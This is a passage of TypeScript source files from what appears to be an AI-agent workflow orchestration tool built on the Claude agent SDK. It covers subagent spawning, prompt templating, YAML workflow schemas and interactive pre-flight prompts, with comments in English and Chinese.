KARPATHY_BASELINE-style. */\nexport function injectFactoryInternalFields(def: AgentDefinition, basePrompt: string): string {\n const parts: string[] = [basePrompt]\n if (def.skills?.length) parts.push(`## Available skills\\n- ${def.skills.join('\\n- ')}`)\n if (def.mcpServers && Object.keys(def.mcpServers).length) {\n parts.push(`## MCP servers\\n${Object.keys(def.mcpServers).join(', ')}`)\n }\n if (def.memory) parts.push(`## Memory\\n${def.memory}`)\n if (def.maxTurns) parts.push(`## Turn budget\\n${def.maxTurns} turns max.`)\n if (def.background) parts.push(`## Background\\nfire-and-forget`)\n if (def.effort) parts.push(`## Effort\\n${def.effort}`)\n if (def.permissionMode) parts.push(`## Permission mode\\n${def.permissionMode}`)\n if (def.initialPrompt) parts.push(`## Initial prompt\\n${def.initialPrompt}`)\n if (def.criticalSystemReminder_EXPERIMENTAL) {\n parts.push(`## CRITICAL\\n${def.criticalSystemReminder_EXPERIMENTAL}`)\n }\n return parts.join('\\n\\n')\n}\n","// Phase 2.2 W4 T4.1 — SDK query() async-iterable consumer (ADR 0011 errata).\n//\n// IMPL NOTE — main-process spawn wrapper. Replaces engine.ts defaultSpawn\n// placeholder (T4.2). Engine.route → defaultSpawn → sdkSpawn → query() with\n// outputFormat:{type:'json_schema',schema:COMPLETION_SCHEMA} PRIMARY (B-02 /\n// B-07 SC3) + agents:{ [expertName]: sdkDef } registration. Returns a JSON\n// envelope string consumed by ralphLoopWrap.isComplete 4-layer dual-signal\n// (T2.4):\n// layer 1 outer PRIMARY — env.structured_output.status === 'COMPLETE'\n// layer 2 outer FALLBACK — extractPromise(env.text ?? env.result)\n// layer 3 inner FALLBACK — extractPromise(raw) when JSON.parse fails\n// layer 4 final FAIL — both signals absent (B-07 Tier C)\n// Session resume (CD-4) is captured here via `onSessionId` callback but\n// CD-4 wire-up to v0.3.0 checkpoint (T1.2 SC4 PARTIAL → T4.4 DEFERRED per\n// B-35). Closure infra is in ralphLoopWrap (T2.4); sdkSpawn merely passes\n// `opts.resumeSessionId` to `options.resume` when present.\n//\n// B-25 split rationale: engine.ts ≤200L hard limit (B-23) — putting the\n// real query() consumer here keeps engine orchestration thin.\n\nimport { query, type SDKMessage, type SDKResultMessage } from '@anthropic-ai/claude-agent-sdk'\nimport type { AgentDefinition } from './agentDefinition.js'\nimport { COMPLETION_SCHEMA, type SdkResultEnvelope } from './completionSchema.js'\nimport { injectFactoryInternalFields, toSdkAgentDefinition } from './sdkReconcile.js'\n\nexport interface SdkSpawnOpts {\n /** Subagent name registered in `agents` map; e.g. 'tavily-mcp', 'ui-ux-pro-max'. */\n expertName: string\n /** SDK session id to resume (CD-4 deferred to v0.3.0; closure-ready). */\n resumeSessionId?: string\n /** Callback fired when SDK emits system:init with session_id (T4.4 hook). */\n onSessionId?: (id: string) => void\n}\n\nexport class SpawnFailError extends Error {\n constructor(public lastMessage?: SDKResultMessage) {\n super('sdkSpawn produced no result message')\n this.name = 'SpawnFailError'\n }\n}\n\n/** Narrow SDKResultMessage.subtype to the discriminator we care about. */\ntype ResultSubtype = SDKResultMessage['subtype']\n\n/** Spawn a subagent via SDK query() — main-process async-iterable consumer.\n * Returns a JSON envelope string consumed by ralphLoopWrap.isComplete\n * (4-layer dual-signal). On success the envelope carries the structured\n * output (PRIMARY) AND the result text (FALLBACK), enabling B-07 graceful\n * degrade if outputFormat doesn't populate structured_output server-side. */\nexport async function sdkSpawn(def: AgentDefinition, opts: SdkSpawnOpts): Promise<string> {\n const sdkDef = toSdkAgentDefinition(def) // 14→5 字段 unpack (B-01)\n const injectedPrompt = injectFactoryInternalFields(def, def.initialPrompt ?? def.prompt) // 9-字段 prompt inject\n const queryOptions: Record<string, unknown> = {\n allowedTools: ['Read', 'Edit', 'Write', 'Grep', 'Glob', 'Bash', 'Task'],\n agents: { [opts.expertName]: sdkDef },\n // PRIMARY signal (B-02 / B-07 SC3) — structured output via json_schema.\n outputFormat: { type: 'json_schema', schema: COMPLETION_SCHEMA },\n }\n if (opts.resumeSessionId) queryOptions.resume = opts.resumeSessionId\n\n // SDK `query()` returns AsyncIterable<SDKMessage>; we consume until result.\n // biome-ignore lint/suspicious/noExplicitAny: SDK options 接口含未导出 union — 用 unknown record + cast。\n const q = query({ prompt: injectedPrompt, options: queryOptions as any })\n\n let result: SDKResultMessage | undefined\n for await (const msg of q as AsyncIterable<SDKMessage>) {\n if (msg.type === 'system' && msg.subtype === 'init') {\n opts.onSessionId?.(msg.session_id)\n }\n if (msg.type === 'result') {\n result = msg as SDKResultMessage\n }\n }\n if (!result) throw new SpawnFailError()\n\n // Build envelope consumed by isComplete 4-layer (lib/ralphLoop.ts T2.4).\n // SDKResultSuccess.structured_output is typed `unknown` — narrow safely.\n const structuredOutput =\n 'structured_output' in result\n ? (result.structured_output as SdkResultEnvelope['structured_output'])\n : undefined\n const subtype: ResultSubtype = result.subtype\n const text = 'result' in result ? result.result : undefined\n\n const envelope: SdkResultEnvelope = {\n subtype,\n ...(structuredOutput ? { structured_output: structuredOutput } : {}),\n ...(text != null ? { text, result: text } : {}),\n }\n return JSON.stringify(envelope)\n}\n","// src/workflow/interpolate.ts — Phase 3.2 W1 T1.6 (D-02 JINJA LOCKED).\n// Karpathy YAGNI ≤30L — zero npm template-lib dep (sister Phase 3.1 D-02 zero\n// FSM-lib precedent). Throws on undefined var + on any {{ ... }} that strict\n// regex misses (fail-loud per RESEARCH § 3 — strict_variables=True equivalent).\nexport class InterpolationError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'InterpolationError'\n }\n}\nconst STRICT = /\\{\\{\\s*(\\w+)\\s*\\}\\}/g\nconst ANY_TEMPLATE = /\\{\\{[^}]*\\}\\}/\n/** Substitute {{ var }} placeholders in template with vars[name]. Throws on\n * undefined var OR residual {{ ... }} (e.g. `{{ a.b }}` — `\\w+` 不命中 '.',\n * fail-loud per RESEARCH § 2.3 fixture 5 + § 3 strict_variables=True). */\nexport function interpolate(template: string, vars: Record<string, string>): string {\n const out = template.replace(STRICT, (_m, name: string) => {\n const v = vars[name]\n if (v === undefined) {\n throw new InterpolationError(\n `undefined template variable '${name}' (template excerpt: ${template.slice(0, 80)})`,\n )\n }\n return v\n })\n if (ANY_TEMPLATE.test(out)) {\n throw new InterpolationError(`unsupported template syntax in: ${out.slice(0, 80)}`)\n }\n return out\n}\n","// Per-phase model tier schema — ADR 0011 errata (phase 2.2 W3 — F5 / CD-2 D-04).\n//\n// Intel `omc-comparison.md` § CD-2 (per-phase model tier — execute-task 省 token):\n// 每个 workflow phase 静态标 `model:` 字段,agentFactory 读 `phase.model` 填进\n// `AgentDefinition.model`(SDK 5 字段里本就有 `model`,零新引擎)。\n//\n// 默认表 (workflows/execute-task/phases.yaml T3.3):\n// 01-clarify = opus (任务复杂度澄清)\n// 02-code = sonnet (心法 always-on)\n// 03-test = sonnet (conditional TDD)\n// 04-deliver = haiku (迭代验收循环省 token — 关键点)\n//\n// `--model-tier inherit` CLI flag override 逃生口 (B-10 — 用户场景多样)。\n// 与 GSD `/gsd-set-profile` 独立 namespace (GSD profile 管 GSD agent,\n// harnessed 管 spawn 的 subagent — intel CD-2 § 实施约束)。\n//\n// IMPL NOTE: TypeBox (`@sinclair/typebox`) per repo convention — NOT zod.\n\nimport { type Static, Type } from '@sinclair/typebox'\n\nexport const ModelTier = Type.Union([\n Type.Literal('haiku'),\n Type.Literal('sonnet'),\n Type.Literal('opus'),\n Type.Literal('inherit'), // B-10 override 逃生口\n])\n\nexport const PhaseEntry = Type.Object(\n {\n id: Type.String({ minLength: 1 }), // e.g. '01-clarify'\n name: Type.String({ minLength: 1 }),\n upstream: Type.String({ minLength: 1 }), // e.g. 'superpowers brainstorming'\n model: ModelTier, // 必填 (B-08)\n skills: Type.Optional(Type.Array(Type.String())),\n max_iterations: Type.Optional(Type.Integer({ minimum: 1, maximum: 100 })),\n // Phase 3.2 W1 T1.7 — JINJA-templated invokes string (D-02, W-02 orchestrator fix unconditional extend).\n invokes: Type.Optional(Type.String()),\n },\n { additionalProperties: false },\n)\n\nexport const PhasesSchema = Type.Object(\n {\n workflow: Type.String({ minLength: 1 }), // e.g. 'execute-task'\n phases: Type.Array(PhaseEntry, { minItems: 1 }),\n // Phase 3.2 W1 T1.7 — CEO veto halt directive (D-04 PUSH, W-02 orchestrator fix unconditional extend).\n on_veto: Type.Optional(Type.String({ pattern: '^halt_workflow$' })),\n },\n { additionalProperties: false },\n)\n\nexport type ModelTierType = Static<typeof ModelTier>\nexport type PhaseEntryType = Static<typeof PhaseEntry>\nexport type PhasesSchemaType = Static<typeof PhasesSchema>\n","// src/workflow/schema/workflow.ts — Phase v3.0-3.3 W0 T3.3.W0.5 (R30.9 + D-09 + D-05 + D-01).\n// TypeBox schema for harnessed.workflow.v3 — covers 20 workflow yaml v3 surfaces\n// (4 master orchestrator + 14 sub-stage + 2 standalone per D-07) per\n// D-04 + D-09 + D-05 + D-01 NEW + Pattern A A.1 reconcile (strict Literal Union).\n//\n// v2 → v3 字段 delta (sister Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED v2 86L):\n// BUMP `schema_version: 'harnessed.workflow.v3'` (17th surface in schemaVersion.ts)\n// ADD `disciplines_applied` — strict Literal Union of 6 basename (D-09 + Pattern A A.1)\n// ADD `tools_available` — string[] capabilities.yaml entry name (D-05)\n// ADD `delegates_to` — DelegationClause[] master orchestrator only (D-01 NEW)\n// ADD phase.`invokes_tools` — InvokeToolClause[] conditional fire (D-05)\n// CHANGE `phases` to Optional — master has delegates_to only, sub/standalone has phases\n//\n// Runtime invariant (NOT schema): every parsed yaml must have phases[] OR delegates_to[]\n// (engine asserts in `runWorkflow`); BOTH absent → fail-fast.\n//\n// IMPL NOTE: workflow engine pre-resolves `gate` / `parallelism` 4-level ref via\n// T2.3.W0.4 judgmentResolver BEFORE expr-eval evaluation.\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 mitigation.\n// Pattern A A.1 strict Literal Union LOCKED — typo basename ('karpatHy' etc) fails fast.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\n// Pattern A A.1 LOCK — strict Literal Union of 6 discipline basename (D-09).\n// Typo ('karpatHy' / 'output_style') fails Value.Check fast; sister 6 yaml file basename verbatim.\nexport const DisciplineName = Type.Union([\n Type.Literal('karpathy'),\n Type.Literal('output-style'),\n Type.Literal('language'),\n Type.Literal('operational'),\n Type.Literal('priority'),\n Type.Literal('protocols'),\n])\n\nexport const OnClause = Type.Object(\n {\n if: Type.String(), // expr-eval expression OR judgments.<file>.<gate>.fires ref\n invoke: Type.Optional(Type.String()), // '{{ capabilities.<name>.cmd }}' OR literal\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\n// D-05 NEW — phase-level conditional tool fire (sister OnClause 'if?' + 主语段 style).\nexport const InvokeToolClause = Type.Object(\n {\n if: Type.Optional(Type.String()), // optional — 无 if = unconditional fire\n tool: Type.String({ minLength: 1 }), // capabilities.yaml entry name (cross-validate T3.3.W0.10)\n },\n { additionalProperties: false },\n)\n\n// D-01 NEW — master orchestrator declarative delegation (replaces phase-level invokes for master).\nexport const DelegationClause = Type.Object(\n {\n sub: Type.String({ minLength: 1 }), // sub-stage workflow name e.g. 'strategic' / 'phase' / 'subtask'\n gate: Type.Optional(Type.String()), // judgments.<file>.<trigger>.fires 4-level ref\n mode: Type.Optional(Type.Union([Type.Literal('parallel'), Type.Literal('serial')])),\n order: Type.Optional(Type.Number()), // serial-only: explicit ordering (K9 mitigation enforced in check-workflow-schema)\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceeded = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'), // R20.10 acceptance c \"explicit NOT silent\"\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallback = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceeded),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV3 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()), // '{{ capabilities.ralph-loop.cmd }}'\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()), // legacy slash-cmd OR JINJA template\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()), // judgments.<file>.<gate>.fires 4-level ref\n on: Type.Optional(Type.Array(OnClause)),\n parallelism: Type.Optional(Type.String()), // judgments.parallelism-gate.<route>.fires\n fallback: Type.Optional(PhaseFallback),\n max_iterations: Type.Optional(\n Type.Union([Type.Number(), Type.String()]), // numeric literal OR jinja '{{ defaults.x.y }}'\n ),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n invokes_tools: Type.Optional(Type.Array(InvokeToolClause)), // NEW v3 D-05 phase-level conditional fire\n // v3.8.0 P1 — Conditional RULES inject. Empty/absent → DEFAULT_INJECTS_RULES\n // (escalation + transparent-skip, ~470 tokens). Declare full list\n // ['escalation', 'transparent-skip', 'agent-teams-prevention'] on phases\n // that genuinely involve Agent Teams escalation (task-deliver / task-test /\n // verify-multispec). Unknown rule names silently filtered at runtime\n // (forward-compat for future RULES additions).\n injects_rules: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV3 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow_v3),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n disciplines_applied: Type.Optional(Type.Array(DisciplineName)), // NEW v3 D-09 (Pattern A A.1 strict Literal Union)\n tools_available: Type.Optional(Type.Array(Type.String())), // NEW v3 D-05 (cross-validate T3.3.W0.10)\n delegates_to: Type.Optional(Type.Array(DelegationClause)), // NEW v3 D-01 (master orchestrator only)\n phases: Type.Optional(Type.Array(WorkflowPhaseV3, { minItems: 1 })), // 改 Optional — master 无 phases, sub/standalone 必有\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV3T = Static<typeof WorkflowPhaseV3>\nexport type WorkflowSchemaV3T = Static<typeof WorkflowSchemaV3>\nexport type DelegationClauseT = Static<typeof DelegationClause>\nexport type InvokeToolClauseT = Static<typeof InvokeToolClause>\nexport type DisciplineNameT = Static<typeof DisciplineName>\nexport type FallbackMaxIterationsExceededT = Static<typeof FallbackMaxIterationsExceeded>\nexport type PhaseFallbackT = Static<typeof PhaseFallback>\nexport type OnClauseT = Static<typeof OnClause>\n\n// v2 backward-compat re-export — sister run.ts + checker still reads v2 yaml during transition.\n// Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED — KEEP for Phase v3.0-3.3 setup-helpers v2 deprecation period.\n// CHANGELOG: drop v2 alias post v3.0 GA + setup-helpers nested scan + v2 yaml removed.\nexport {\n type PhaseShape,\n WorkflowPhaseV2,\n type WorkflowPhaseV2T,\n WorkflowSchemaV2,\n type WorkflowSchemaV2T,\n} from './workflow.v2.js'\n","// src/workflow/schema/workflow.v2.ts — Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED schema.\n// SPLIT from workflow.ts during Phase v3.0-3.3 W0 T3.3.W0.5 (v3 schema bump) to\n// preserve karpathy ≤200L hard limit + maintain v2 yaml backward-compat during\n// setup-helpers v2 deprecation period (T3.3.W0.12).\n//\n// Removal target: Phase v3.0 GA + 1 minor cycle (sister CHANGELOG alias map period).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\nexport const OnClauseV2 = Type.Object(\n {\n if: Type.String(),\n invoke: Type.Optional(Type.String()),\n action: Type.Optional(OnAction),\n },\n { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceededV2 = Type.Object(\n {\n action: Type.Literal('emit_warning_and_halt'),\n message: Type.String(),\n exit_code: Type.Number(),\n },\n { additionalProperties: false },\n)\n\nexport const PhaseFallbackV2 = Type.Object(\n {\n max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceededV2),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV2 = Type.Object(\n {\n id: Type.String({ minLength: 1 }),\n name: Type.Optional(Type.String()),\n upstream: Type.Optional(Type.String()),\n capability: Type.Optional(Type.String()),\n model: Type.Optional(ModelTier),\n invokes: Type.Optional(Type.String()),\n args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n gate: Type.Optional(Type.String()),\n on: Type.Optional(Type.Array(OnClauseV2)),\n parallelism: Type.Optional(Type.String()),\n fallback: Type.Optional(PhaseFallbackV2),\n max_iterations: Type.Optional(Type.Union([Type.Number(), Type.String()])),\n artifacts_expected: Type.Optional(Type.Array(Type.String())),\n },\n { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV2 = Type.Object(\n {\n schema_version: Type.Literal(SCHEMA_VERSIONS.workflow),\n workflow: Type.String({ minLength: 1 }),\n description: Type.Optional(Type.String()),\n phases: Type.Array(WorkflowPhaseV2, { minItems: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV2T = Static<typeof WorkflowPhaseV2>\nexport type WorkflowSchemaV2T = Static<typeof WorkflowSchemaV2>\n/** Alias of `WorkflowPhaseV2T` — sister deferred-items.md T2.4.W1.5 path-A naming. */\nexport type PhaseShape = WorkflowPhaseV2T\n","// loadPhases — parse + validate `phases.yaml` against PhasesSchema (T3.1) OR\n// WorkflowSchemaV2 (T2.4.W1.1 Option A++ dispatch by `schema_version`).\n//\n// ADR 0011 errata — per-phase model tier (phase 2.2 W3 — T3.2).\n// Sister to `src/manifest/validate.ts`(Ajv) — here we use TypeBox `Value.Check` +\n// `Value.Errors` directly (simpler than Ajv compile path; phases.yaml schema is\n// tiny ~50L and not on hot path — no perf gate needed).\n//\n// Pattern lifted from PATTERNS § 5 D-WP-1 \"Truly NEW patterns\" row.\n//\n// Phase 3.2 W2 T2.1 — sig extend `vars?: Record<string, string>`; if provided,\n// interpolate {{ var }} placeholders in `invokes` field per phase (D-02 JINJA\n// LOCKED). Backward-compat: vars omitted → no interpolate (existing callers\n// unchanged; sister `workflows/execute-task/phases.yaml` has no invokes).\n//\n// Phase v2.0-2.4 W1.1 T2.4.W1.1 (Option A++ team-lead arbitration) — schema\n// dispatch on root `schema_version` field. v2 yaml validates against\n// WorkflowSchemaV2 and the v2 shape is returned unchanged (structural superset\n// of v1 — legacy v1 readers safely access the v1 subset; engine catch handler\n// reads `phase.fallback.max_iterations_exceeded.*` for R20.10 explicit halt).\n// Legacy yaml without `schema_version` falls back to PhasesSchema v1 path.\n//\n// Phase v3.4.4 — add v3 dispatch arm mirroring v2 pattern; master yamls (no\n// phases) validate via WorkflowSchemaV3 Optional phases field. JINJA loop now\n// guards `validated.phases` (master shape has phases === undefined).\n\nimport { readFileSync } from 'node:fs'\nimport { Value, type ValueError } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { interpolate } from './interpolate.js'\nimport { PhasesSchema, type PhasesSchemaType } from './schema/phases.js'\nimport {\n WorkflowSchemaV2,\n type WorkflowSchemaV2T,\n WorkflowSchemaV3,\n type WorkflowSchemaV3T,\n} from './schema/workflow.js'\n\nexport class PhasesValidationError extends Error {\n constructor(public errors: ValueError[]) {\n super(`phases.yaml validation failed (${errors.length} error${errors.length === 1 ? '' : 's'})`)\n this.name = 'PhasesValidationError'\n }\n}\n\nexport type LoadedPhases = PhasesSchemaType | WorkflowSchemaV2T | WorkflowSchemaV3T\n\n/** Load + validate a phases.yaml file. Throws `PhasesValidationError` on schema\n * violation. If `vars` provided, interpolates {{ var }} in each phase's\n * `invokes` field (Phase 3.2 W2 T2.1 D-02 JINJA).\n *\n * T2.4.W1.1 v2 dispatch (Option A++): yaml with `schema_version:\n * harnessed.workflow.v2` validates against `WorkflowSchemaV2` and is returned\n * unchanged. Legacy v1 consumers read the v1 subset (workflow + phases[id,\n * name, upstream, model, max_iterations, invokes]) which the v2 shape\n * structurally contains; engine catch handler reads `phase.fallback`. */\nexport function loadPhases(yamlPath: string, vars?: Record<string, string>): LoadedPhases {\n const raw = readFileSync(yamlPath, 'utf8')\n const parsed = parseYaml(raw) as { schema_version?: string } | null\n\n const version = parsed?.schema_version\n if (version === 'harnessed.workflow.v3') {\n if (!Value.Check(WorkflowSchemaV3, parsed)) {\n throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV3, parsed)])\n }\n } else if (version === 'harnessed.workflow.v2') {\n if (!Value.Check(WorkflowSchemaV2, parsed)) {\n throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV2, parsed)])\n }\n } else {\n if (!Value.Check(PhasesSchema, parsed)) {\n throw new PhasesValidationError([...Value.Errors(PhasesSchema, parsed)])\n }\n }\n const validated = parsed as LoadedPhases\n\n // Phase 3.2 W2 T2.1 — JINJA interpolate invokes field (D-02 LOCKED).\n // Backward-compat: vars omitted → no interpolate (existing callers unchanged).\n // Phase v3.4.4 — guard `validated.phases` (v3 master shape has phases === undefined).\n if (vars && validated.phases) {\n for (const ph of validated.phases) {\n if (ph.invokes) ph.invokes = interpolate(ph.invokes, vars)\n }\n }\n return validated\n}\n","// masterOrchestrator-helpers.ts — v3.1.0 split from masterOrchestrator.ts (karpathy ≤200L hard\n// limit per project memory). v3.2.0 extend — adds /auto super-master pre-flight hook\n// (complexity assessment + understanding check) + retro mandatory invariant note.\n//\n// Sister masterOrchestrator.ts orchestration core stays focused on:gate eval + serial/parallel\n// split + arbitrate + spawn loop。Default IO helpers (fs spawn driver / stdin pause prompt /\n// yaml path resolver / pre-flight hook) live here for test DI override clarity。\n\nimport { resolve } from 'node:path'\nimport {\n arbitrateBeforeSpawn,\n type FiredCapability,\n} from '../discipline/enforcement/before-spawn.js'\nimport type {\n GateEvaluation,\n MasterName,\n MasterRunOpts,\n SpawnDriver,\n} from './masterOrchestrator.js'\nimport { runWorkflow } from './run.js'\nimport type { DelegationClauseT, WorkflowSchemaV3T } from './schema/workflow.js'\n\n/** v3.1.0 — Super-master `/auto` 走 top-level standalone `workflows/auto/workflow.yaml`\n * (sister research/retro layout); 4 stage-master 仍 走 `workflows/<name>/auto/workflow.yaml`。 */\nexport function resolveMasterYamlPath(masterName: MasterName, packageRoot: string): string {\n return masterName === 'auto'\n ? resolve(packageRoot, 'workflows', 'auto', 'workflow.yaml')\n : resolve(packageRoot, 'workflows', masterName, 'auto', 'workflow.yaml')\n}\n\n/** v3.1.0 — Super-master `/auto` recursive spawn: sub ∈ {discuss,plan,task,verify} spawn to\n * stage-master `workflows/<sub>/auto/workflow.yaml` (一层抽象 verbatim); 其他 master spawn to\n * `workflows/<masterName>/<subName>/workflow.yaml` (原 sub-workflow 行为)。\n * v3.2.0 — `research` / `retro` sub spawn to standalone top-level `workflows/<sub>/workflow.yaml`. */\nexport function resolveSubYamlPath(\n masterName: MasterName,\n subName: string,\n packageRoot: string,\n): string {\n if (masterName === 'auto') {\n // v3.2.0 — research + retro are top-level standalone (NOT stage-master nested)\n if (subName === 'research' || subName === 'retro') {\n return resolve(packageRoot, 'workflows', subName, 'workflow.yaml')\n }\n // 4 stage-master nested at workflows/<sub>/auto/workflow.yaml\n return resolve(packageRoot, 'workflows', subName, 'auto', 'workflow.yaml')\n }\n return resolve(packageRoot, 'workflows', masterName, subName, 'workflow.yaml')\n}\n\nexport const defaultSpawnDriver: SpawnDriver = async (\n masterName,\n subName,\n _context,\n packageRoot,\n) => {\n const subYamlPath = resolveSubYamlPath(masterName, subName, packageRoot)\n // Path A — SDK query recursive call runWorkflow at sub yaml(in-process)。\n // K8:engine 共享 1 context snapshot,passed unchanged(`gateContext`)。\n // Path B fallback hook:try/catch SDK error → sub-shell `harnessed` CLI invoke。\n try {\n await runWorkflow(subYamlPath, {}, { packageRoot, gateContext: _context })\n } catch (err) {\n // Path B sub-shell fallback(sister Phase 2.5 W2.3 error 降级 pattern)\n // — T3.5.W2.1 dogfood LOCK 时收紧 cmd surface;v3.0 default 仅记 warn 不真 exec\n // sub-shell(避免 spawn 调用栈 unintended side-effect)。\n console.warn(\n `⚠️ master spawnSubWorkflow Path A failed for ${masterName}/${subName} ` +\n `(${(err as Error).message});Path B sub-shell fallback deferred T3.5.W2.1.`,\n )\n }\n}\n\n/** v3.1.0 / v3.3.0 — Default pause hook: prompt user via stdin to confirm continuation\n * between stages (super-master `/auto --staged` opt-in; v3.3.0 removed legacy\n * `--pause-between-stages` alias). Test DI override via opts.pauseFn。 */\nexport const defaultPauseFn = async (stageName: string): Promise<void> => {\n const readline = await import('node:readline/promises')\n const rl = readline.createInterface({ input: process.stdin, output: process.stdout })\n try {\n await rl.question(\n `\\n[--staged] Stage '${stageName}' complete. Press Enter to continue (Ctrl+C to abort)... `,\n )\n } finally {\n rl.close()\n }\n}\n\n/** v3.2.0 — Default complexity assessment (Phase 0). 1-shot AI judge 需求 size returns\n * 'small' | 'medium' | 'large'. Default impl 保守 — 无 AI 上下文时返回 'medium' (skip prompt\n * path)。真接 AI call 应由 caller (slash cmd impl) override via opts.assessComplexity。 */\nexport const defaultAssessComplexity = async (\n _taskDescription: string,\n): Promise<'small' | 'medium' | 'large'> => {\n // Conservative default — 'medium' bypasses the large-prompt branch.\n // Real AI-driven judge should be injected via opts.assessComplexity by caller.\n return 'medium'\n}\n\n/** v3.2.0 — Default understanding check (Phase 0.5). Prompt user via stdin \"对需求有清晰认知吗?\n * [Y/n]\"。Returns true if user is clear (skip research), false if unclear (spawn research)。 */\nexport const defaultPromptUserUnderstanding = async (\n prompter = defaultPrompter,\n): Promise<boolean> => {\n const answer = await prompter(\n '\\n[Phase 0.5] 对需求有清晰认知吗? [Y/n] (n = 先跑 /research 多源调研): ',\n )\n const a = answer.trim().toLowerCase()\n // Default Y (clear) on empty / 'y' / 'yes' / unknown; only 'n' / 'no' set unclear=true\n return !(a === 'n' || a === 'no')\n}\n\n/** v3.2.0 — readline stdin prompter (DI-friendly, sister defaultPauseFn pattern)。 */\nexport const defaultPrompter = async (question: string): Promise<string> => {\n const readline = await import('node:readline/promises')\n const rl = readline.createInterface({ input: process.stdin, output: process.stdout })\n try {\n return await rl.question(question)\n } finally {\n rl.close()\n }\n}\n\n/** v3.2.0 — /auto super-master pre-flight hook: Phase 0 complexity assessment + Phase 0.5\n * understanding check. Returns updated opts (auto-staged on large+y) + mutates ctx with\n * user_understanding_unclear fact (consumed by research gate)。\n *\n * Returns { proceed: false } when user aborts on large-complexity (n)。 */\nexport async function runAutoPreFlight(\n ctx: Record<string, unknown>,\n opts: MasterRunOpts,\n): Promise<{ proceed: boolean; opts: MasterRunOpts }> {\n const assess = opts.assessComplexity ?? defaultAssessComplexity\n const prompter = opts.prompter ?? defaultPrompter\n const taskDesc = typeof ctx.task_description === 'string' ? ctx.task_description : ''\n\n // Phase 0 — complexity assessment\n const size = await assess(taskDesc)\n console.log(`[/auto Phase 0] Complexity assessment: ${size}`)\n let nextOpts = opts\n if (size === 'large') {\n const a = (\n await prompter(\n '\\n[Phase 0] 需求复杂度较大,全程 auto 可能时间过长 / 上下文超限。建议 `--staged` 模式 (每 stage 完停 review)。是否切换? [Y/n]: ',\n )\n )\n .trim()\n .toLowerCase()\n if (a === 'n' || a === 'no') {\n console.log(\n '\\n[/auto Phase 0] User declined --staged. Aborting auto mode — 建议手动 `/discuss` 启动。',\n )\n return { proceed: false, opts }\n }\n console.log('[/auto Phase 0] Switching to --staged mode.')\n nextOpts = { ...opts, pauseBetweenStages: true }\n }\n\n // Phase 0.5 — understanding check (mandatory prompt even on small/medium)\n const promptUnderstanding = opts.promptUserUnderstanding ?? defaultPromptUserUnderstanding\n const isClear = await promptUnderstanding(prompter)\n ctx.user_understanding_unclear = !isClear\n console.log(\n `[/auto Phase 0.5] user_understanding_unclear=${!isClear} (research will ${isClear ? 'skip' : 'fire'})`,\n )\n\n return { proceed: true, opts: nextOpts }\n}\n\n/** v3.2.0 — Emit transparency block for gate evaluations (RESEARCH-workflows § Area 3).\n * Split from masterOrchestrator.ts core per karpathy ≤200L hard limit. */\nexport function emitGateTransparency(\n masterName: MasterName,\n totalGates: number,\n gateEvalled: GateEvaluation[],\n): void {\n console.log(`[${masterName} master] Evaluating ${totalGates} sub-workflow gates:`)\n for (const g of gateEvalled) {\n const mark = g.passes ? '✓' : '⊘'\n const tail = g.passes\n ? g.clause.gate\n ? ` (${g.clause.gate} == true)`\n : ' (unconditional)'\n : ` skipped — ${g.reason}`\n console.log(` ${mark} ${g.clause.sub}${tail}`)\n }\n}\n\n/** v3.2.0 — Arbitrate fired clauses when >1 (K14 warn-not-halt mitigation per\n * RESEARCH-disciplines § 3.2.3)。Split from masterOrchestrator.ts core per karpathy\n * ≤200L hard limit。 */\nexport async function maybeArbitrate(\n firedClauses: DelegationClauseT[],\n packageRoot: string,\n): Promise<void> {\n if (firedClauses.length <= 1) return\n const firedCaps: FiredCapability[] = firedClauses.map((c) => ({ name: c.sub, tier: c.sub }))\n try {\n await arbitrateBeforeSpawn(firedCaps, packageRoot)\n console.warn(\n `⚠️ multi-capability fires (${firedClauses.length} sub), arbitrating by priority hierarchy ` +\n '(K14 warn-not-halt; v3.0 sub-as-tier placeholder, real cross-tier sort defer v3.x)',\n )\n } catch (e) {\n console.warn(`⚠️ arbitrate 